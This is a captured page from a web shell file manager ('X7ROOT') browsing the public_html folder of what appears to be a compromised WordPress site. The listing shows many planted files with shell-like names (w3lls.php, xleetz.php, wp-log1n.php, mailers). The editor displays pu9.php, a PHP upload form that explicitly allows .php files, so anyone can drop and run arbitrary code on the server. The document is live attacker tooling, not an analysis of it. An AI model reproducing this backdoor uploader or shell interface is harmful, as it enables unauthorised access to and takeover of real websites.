X7ROOT File Manager
Current Path:
/home/adaywebs/public_html
home
/
adaywebs
/
public_html
/
??
..
??
.sghb.php
(0 B)
??
.well-known
??
000.php
(0 B)
??
09065f
??
36a1d
??
3PJcpMFsD8B.php
(0 B)
??
4PJcpMFsD8B.php
(0 B)
??
Cap.php
(18.19 KB)
??
MF.php
(0 B)
??
MuPlugin.php
(0 B)
??
about.php
(0 B)
??
buy.php
(0 B)
??
cc3f51
??
chosen.php
(0 B)
??
click.php
(0 B)
??
database.phtml
(0 B)
??
defaults.php
(0 B)
??
dropdown.php
(6.81 KB)
??
error_log
(428.89 MB)
??
erty.php
(1.04 KB)
??
ex.php
(0 B)
??
features.php
(0 B)
??
file.php
(78.19 KB)
??
filefuns.php
(0 B)
??
gettest.php
(77.8 KB)
??
goods.php
(0 B)
??
index.php0
(0 B)
??
inputs.php
(0 B)
??
item.php
(4.23 KB)
??
jj.php
(0 B)
??
mah.php
(0 B)
??
mailers.php
(0 B)
??
mailers.php7
(0 B)
??
mailers.phtml
(0 B)
??
mediia.php
(1.7 KB)
??
network.php
(623 B)
??
networks.php
(0 B)
??
options.php
(0 B)
??
p.php
(0 B)
??
pages.php
(0 B)
??
product.php
(0 B)
??
pu9.php
(1.4 KB)
??
radio.php
(0 B)
??
robots.txt
(404 B)
??
rotex.php
(0 B)
??
rots.php
(0 B)
??
samll.php
(13.58 KB)
??
sitemap.php
(0 B)
??
sitemapindex.php
(0 B)
??
test.php
(0 B)
??
test.phtml
(0 B)
??
test1.php7
(0 B)
??
testsend.php
(316 B)
??
themes.php
(0 B)
??
uploads
??
w3lls.php
(0 B)
??
w3lls.php7
(0 B)
??
w3llscc - Copy.php7
(0 B)
??
w3llscc.php7
(0 B)
??
wp-content
??
wp-includes
??
wp-link-opm.php
(97.2 KB)
??
wp-log1n.php
(0 B)
??
wp-login.php
(0 B)
??
xleetz.php
(0 B)
??
xsuswris.php
(0 B)
??
ynryuzfs.php
(0 B)
Editing: pu9.php
<?php // Set upload directory $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } // Check if form was submitted if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; $fileName = basename($file['name']); $targetFile = $uploadDir . $fileName; $fileType = pathinfo($targetFile, PATHINFO_EXTENSION); // Allowed file types $allowedTypes = ['jpg', 'png', 'gif', 'pdf', 'zip', 'txt', 'php']; if (!in_array(strtolower($fileType), $allowedTypes)) { die("Error: File type not allowed."); } // Check for errors if ($file['error'] !== 0) { die("Error: File upload failed."); } // Move file to upload directory if (move_uploaded_file($file['tmp_name'], $targetFile)) { echo "File uploaded successfully: <a href='uploads/$fileName'>$fileName</a>"; } else { echo "Error: Unable to upload file."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Uploader</title> </head> <body> <h2>Upload a File</h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> </body> </html>
Upload File
Create Folder